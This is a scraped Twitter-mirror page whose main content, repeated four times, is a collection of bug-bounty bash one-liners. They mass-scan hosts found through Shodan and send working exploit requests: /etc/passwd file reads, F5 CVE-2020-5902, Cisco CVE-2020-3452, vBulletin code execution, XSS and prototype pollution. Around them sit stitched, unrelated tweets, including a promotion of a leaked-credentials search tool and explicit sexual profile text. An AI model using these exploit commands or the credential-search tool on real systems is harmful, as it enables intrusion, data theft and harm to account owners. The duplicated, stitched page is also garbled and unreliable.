![TheMsterDoctor1's tweet photo. Happy Hunting !!!!
Curated collection of powerful one-liners tailored for bug bounty hunting, crafted with โฅ by the community.
Contribute and enhance your bounty hunting arsenal!
## Quick Guide
- **HOST:** Refers to a single hostname, domain, or IP address.
- **HOSTS.txt:** Contains multiple hosts.
- **URL:** Represents a URL, starting with HTTP/HTTPS.
- **URLS.txt:** Contains multiple URLs.
- **FILE.txt:** or **FILE{N}.txt:** File(s) needed for command/script execution.
- **OUT.txt:** or **OUT{N}.txt:** Target storage for results.
---
### Local File Inclusion
> @dwisiswant0
```bash
gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
```
### Open Redirect
> @dwisiswant0
```bash
export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
```
> @N3T_hunt3r
```bash
cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null
```
### XSS
> @cihanmehmet
```bash
gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt
```
> @fanimalikhack
```bash
waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b https://t.co/0Pxq2ZdMIq pipe > OUT.txt
```
> @oliverrickfors
```bash
cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"
```
### Prototype Pollution
> @R0X4R
```bash
subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' FILE.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE"
```
### CVE-2020-5902
> @Madrobot_
```bash
shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done
```
### CVE-2020-3452
> @vict0ni
```bash
while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo -e "[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT VULNERABLE${NC}] $LINE"; done < HOSTS.txt
```
### CVE-2022-0378
> @7h3h4ckv157
```bash
cat URLS.txt | while read h do; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && echo "$h: VULNERABLE"; done
```
### vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution
> @Madrobot_
```bash
shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done;
```
### Find JavaScript Files
> @D0cK3rG33k
whois -h https://t.co/tVWipHXAti -i origin -T route $(whois -h https://t.co/tVWipHXAti IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n
### Extract IPs from a File
> @emenalf
grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt
### Ports Scan without CloudFlare
> @dwisiswant0
#BugBounty #bugbountytips
Follow ๐๐๐๐๐๐๐๐๐๐](https://pbs.twimg.com/media/GKjOvPgX0AA8t1P.jpg)
![TheMsterDoctor1's tweet photo. Happy Hunting !!!!
Curated collection of powerful one-liners tailored for bug bounty hunting, crafted with โฅ by the community.
Contribute and enhance your bounty hunting arsenal!
## Quick Guide
- **HOST:** Refers to a single hostname, domain, or IP address.
- **HOSTS.txt:** Contains multiple hosts.
- **URL:** Represents a URL, starting with HTTP/HTTPS.
- **URLS.txt:** Contains multiple URLs.
- **FILE.txt:** or **FILE{N}.txt:** File(s) needed for command/script execution.
- **OUT.txt:** or **OUT{N}.txt:** Target storage for results.
---
### Local File Inclusion
> @dwisiswant0
```bash
gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
```
### Open Redirect
> @dwisiswant0
```bash
export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
```
> @N3T_hunt3r
```bash
cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null
```
### XSS
> @cihanmehmet
```bash
gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt
```
> @fanimalikhack
```bash
waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b https://t.co/0Pxq2ZdMIq pipe > OUT.txt
```
> @oliverrickfors
```bash
cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"
```
### Prototype Pollution
> @R0X4R
```bash
subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' FILE.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE"
```
### CVE-2020-5902
> @Madrobot_
```bash
shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done
```
### CVE-2020-3452
> @vict0ni
```bash
while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo -e "[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT VULNERABLE${NC}] $LINE"; done < HOSTS.txt
```
### CVE-2022-0378
> @7h3h4ckv157
```bash
cat URLS.txt | while read h do; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && echo "$h: VULNERABLE"; done
```
### vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution
> @Madrobot_
```bash
shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done;
```
### Find JavaScript Files
> @D0cK3rG33k
whois -h https://t.co/tVWipHXAti -i origin -T route $(whois -h https://t.co/tVWipHXAti IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n
### Extract IPs from a File
> @emenalf
grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt
### Ports Scan without CloudFlare
> @dwisiswant0
#BugBounty #bugbountytips
Follow ๐๐๐๐๐๐๐๐๐๐](https://pbs.twimg.com/media/GKjOvPfXIAAPgup.jpg)
![TheMsterDoctor1's tweet photo. Happy Hunting !!!!
Curated collection of powerful one-liners tailored for bug bounty hunting, crafted with โฅ by the community.
Contribute and enhance your bounty hunting arsenal!
## Quick Guide
- **HOST:** Refers to a single hostname, domain, or IP address.
- **HOSTS.txt:** Contains multiple hosts.
- **URL:** Represents a URL, starting with HTTP/HTTPS.
- **URLS.txt:** Contains multiple URLs.
- **FILE.txt:** or **FILE{N}.txt:** File(s) needed for command/script execution.
- **OUT.txt:** or **OUT{N}.txt:** Target storage for results.
---
### Local File Inclusion
> @dwisiswant0
```bash
gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
```
### Open Redirect
> @dwisiswant0
```bash
export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
```
> @N3T_hunt3r
```bash
cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null
```
### XSS
> @cihanmehmet
```bash
gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt
```
> @fanimalikhack
```bash
waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b https://t.co/0Pxq2ZdMIq pipe > OUT.txt
```
> @oliverrickfors
```bash
cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"
```
### Prototype Pollution
> @R0X4R
```bash
subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' FILE.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE"
```
### CVE-2020-5902
> @Madrobot_
```bash
shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done
```
### CVE-2020-3452
> @vict0ni
```bash
while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo -e "[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT VULNERABLE${NC}] $LINE"; done < HOSTS.txt
```
### CVE-2022-0378
> @7h3h4ckv157
```bash
cat URLS.txt | while read h do; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && echo "$h: VULNERABLE"; done
```
### vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution
> @Madrobot_
```bash
shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done;
```
### Find JavaScript Files
> @D0cK3rG33k
whois -h https://t.co/tVWipHXAti -i origin -T route $(whois -h https://t.co/tVWipHXAti IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n
### Extract IPs from a File
> @emenalf
grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt
### Ports Scan without CloudFlare
> @dwisiswant0
#BugBounty #bugbountytips
Follow ๐๐๐๐๐๐๐๐๐๐](https://pbs.twimg.com/media/GKjOvPeXQAAnHFh.jpg)
Olivia
Online
Saran Santhosh
@Saran00013
Never lose yourself
Joined March 2022
208 Following
16 Followers
664 Posts
Kalla olu college girl ๐
Slim boyfriend kutha kutha Doggy position nalla vangura ๐ฅต๐ฅ๐ฆ๐ฆ
@chubbyy_couplee Ippadi avanga na pic edukamum
Hacking life
@NullSecurityX @theXSSrat We will make you famous if you do have these kinds of collaboration @NullSecurityX
๐ Great news for my followers!
Huge thanks to @theXSSrat ๐
Iโll be giving away 50 coupons, each worth 25โฌ ๐ธ
To join:
๐ฃ Follow me
๐ Retweet this post
๐ฌ Leave a comment
Winners will be picked soon based on engagement. Good luck ๐
@win3zz Please make a writeup about this
It took me 1000 hours to understand, I'll teach you in 2 minutes
How to overcome โConfusion Zoneโ in Web3 Security as a beginner (personal story):
From Limited file read to full access on Jenkins (CVE-2024-23897)
https://t.co/EDcWzl1WSl
Top 25 Bug Bounty Platform
01. Bugcrowd
02. HackerOne
03. Intigriti
04. YesWeHack
05. Synack, Inc.
06. HackenProof | Web3 bug bounty platform
07. Open Bug Bounty
08. Immunefi
09. Cobalt
10. Zerocopter
11. Yogosha
12. SafeHats
13. Vulnerability Research Labs, LLC
14. AntiHACKme Pte Ltd
15. RedStorm Information Security
16. Cyber Army Indonesia
17. Hacktrophy
18. Nordic Defender
19. Capture The Bug
20. Bugbounter
21. Detectify
22. BugBase
23. Code4rena
24. huntr
25. Pentabug
Tag your favourite Bug Bounty platform in the comments โค๏ธ
Excited to share my latest blog on @Medium about my recent finding on @Bugcrowd!
Check it out here: https://t.co/peBbxOhfMP
#bugbounty #Hackingtime #bugcrowd #infosec #Hacking #informationsecurity #cybersecurity #EthicalHacking
The Complete Ethical Hacking
Course Beginner to Advanced...
"๐ Excited to announce 'The Complete Ethical Hacking Course - Beginner to Advanced'! ๐ Uncover the secrets of cybersecurity, master penetration testing, and become a pro ethical hacker. ๐ป๐ก๏ธ Join the cybersecurity revolution! #EthicalHacking #Cybersecurity #TechYou"
100% Free For First 1000 User's..
Simply:
1. Follow (So I Will Dm) ๐ฅ
2. Like and Repost
3. Send me a private message and comment โ Send โ to receive your copies!! ๐
"I do not own this content. For any issues or concerns, please contact the rightful owner directly."
Happy Hunting !!!!
Curated collection of powerful one-liners tailored for bug bounty hunting, crafted with โฅ by the community.
Contribute and enhance your bounty hunting arsenal!
## Quick Guide
- **HOST:** Refers to a single hostname, domain, or IP address.
- **HOSTS.txt:** Contains multiple hosts.
- **URL:** Represents a URL, starting with HTTP/HTTPS.
- **URLS.txt:** Contains multiple URLs.
- **FILE.txt:** or **FILE{N}.txt:** File(s) needed for command/script execution.
- **OUT.txt:** or **OUT{N}.txt:** Target storage for results.
---
### Local File Inclusion
> @dwisiswant0
```bash
gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
```
### Open Redirect
> @dwisiswant0
```bash
export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
```
> @N3T_hunt3r
```bash
cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null
```
### XSS
> @cihanmehmet
```bash
gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt
```
> @fanimalikhack
```bash
waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b https://t.co/0Pxq2ZdMIq pipe > OUT.txt
```
> @oliverrickfors
```bash
cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"
```
### Prototype Pollution
> @R0X4R
```bash
subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' FILE.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE"
```
### CVE-2020-5902
> @Madrobot_
```bash
shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done
```
### CVE-2020-3452
> @vict0ni
```bash
while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo -e "[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT VULNERABLE${NC}] $LINE"; done < HOSTS.txt
```
### CVE-2022-0378
> @7h3h4ckv157
```bash
cat URLS.txt | while read h do; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && echo "$h: VULNERABLE"; done
```
### vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution
> @Madrobot_
```bash
shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done;
```
### Find JavaScript Files
> @D0cK3rG33k
whois -h https://t.co/tVWipHXAti -i origin -T route $(whois -h https://t.co/tVWipHXAti IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n
### Extract IPs from a File
> @emenalf
grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt
### Ports Scan without CloudFlare
> @dwisiswant0
#BugBounty #bugbountytips
Follow ๐๐๐๐๐๐๐๐๐๐
![TheMsterDoctor1's tweet photo. Happy Hunting !!!!
Curated collection of powerful one-liners tailored for bug bounty hunting, crafted with โฅ by the community.
Contribute and enhance your bounty hunting arsenal!
## Quick Guide
- **HOST:** Refers to a single hostname, domain, or IP address.
- **HOSTS.txt:** Contains multiple hosts.
- **URL:** Represents a URL, starting with HTTP/HTTPS.
- **URLS.txt:** Contains multiple URLs.
- **FILE.txt:** or **FILE{N}.txt:** File(s) needed for command/script execution.
- **OUT.txt:** or **OUT{N}.txt:** Target storage for results.
---
### Local File Inclusion
> @dwisiswant0
```bash
gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
```
### Open Redirect
> @dwisiswant0
```bash
export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
```
> @N3T_hunt3r
```bash
cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null
```
### XSS
> @cihanmehmet
```bash
gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt
```
> @fanimalikhack
```bash
waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b https://t.co/0Pxq2ZdMIq pipe > OUT.txt
```
> @oliverrickfors
```bash
cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"
```
### Prototype Pollution
> @R0X4R
```bash
subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' FILE.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE"
```
### CVE-2020-5902
> @Madrobot_
```bash
shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done
```
### CVE-2020-3452
> @vict0ni
```bash
while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo -e "[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT VULNERABLE${NC}] $LINE"; done < HOSTS.txt
```
### CVE-2022-0378
> @7h3h4ckv157
```bash
cat URLS.txt | while read h do; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && echo "$h: VULNERABLE"; done
```
### vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution
> @Madrobot_
```bash
shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done;
```
### Find JavaScript Files
> @D0cK3rG33k
whois -h https://t.co/tVWipHXAti -i origin -T route $(whois -h https://t.co/tVWipHXAti IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n
### Extract IPs from a File
> @emenalf
grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt
### Ports Scan without CloudFlare
> @dwisiswant0
#BugBounty #bugbountytips
Follow ๐๐๐๐๐๐๐๐๐๐](https://pbs.twimg.com/media/GKjOvPhXYAAOcbn.jpg)
Leaked passwords database search tool
Search by 3,2 billions leaked credentials by:
- email
- nickname
- password
(you can also try searching by mobile number, as some people use it as a password)
https://t.co/b6LXZAVpBR
Tip by @SaltinDeadsec
Hey Hackers,
Here are the best GPT Tools for Hacking! ๐จโผ๏ธ
Source: LinkedIn
#Hacking #infosecurity #infosec #Pentesting #redteam #pwn #CyberSecurity #CTF #CyberSecurity #bug #BugBounty #cybersecuritytips #bugbountytips
File upload vulnerability scanner and exploitation tool๐
https://t.co/nMZevQ1Wid
#BugBounty #bugbountytips
Awesome Hackers Search Engines
Online tools for search info about:
- exploit
- vulnerabilities
- people
- emails
- phone numbers
- domains
- certificates
and more.
https://t.co/JFMJ4dG91W
Contributor https://t.co/kUvTEGpsh5
Extracting JS files using JSMON ๐ฅ
How DNS Works
Last Seen Users on Sotwe
pesona binor
Seen from Malaysia
desi bhabi 
Seen from Pakistan
Erika Mayoral
Seen from United States
Laiุจa_Xxx๐ซฆ
100% Amateur Anal {18+}
Seen from Turkey
Chicas de sacapulas
Seen from United States
|โตร
$H Mร
$TโฌR_UPDร
Tโฌ$ ๐บ๐ธ|40K|
Seen from United States
unhijabitcc
Seen from Indonesia
Olgun KADIN hayranฤฑ
Seen from Turkey
๐จ๐ณ๐จ๐ง๐๐ฑ
Seen from Brazil
Most Popular Users
Elon Musk
@elonmusk
241.6M followers
Barack Obama
@barackobama
119M followers
Cristiano Ronaldo
@cristiano
114.2M followers
Donald J. Trump
@realdonaldtrump
111.8M followers
Narendra Modi
@narendramodi
107.2M followers
Rihanna
@rihanna
98.7M followers
NASA
@nasa
92.4M followers
Justin Bieber
@justinbieber
91.8M followers
KATY PERRY
@katyperry
89.9M followers
Taylor Swift
@taylorswift13
83.8M followers
Lady Gaga
@ladygaga
75.3M followers
Virat Kohli
@imvkohli
73.2M followers
Kim Kardashian
@kimkardashian
70.8M followers
YouTube
@youtube
68.8M followers
Neymar Jr
@neymarjr
66.2M followers
Bill Gates
@billgates
65M followers
Selena Gomez
@selenagomez
63M followers
The Ellen Show
@theellenshow
62.3M followers
CNN
@cnn
61.8M followers
X
@x
60.7M followers
โจ
โญ
๐ซ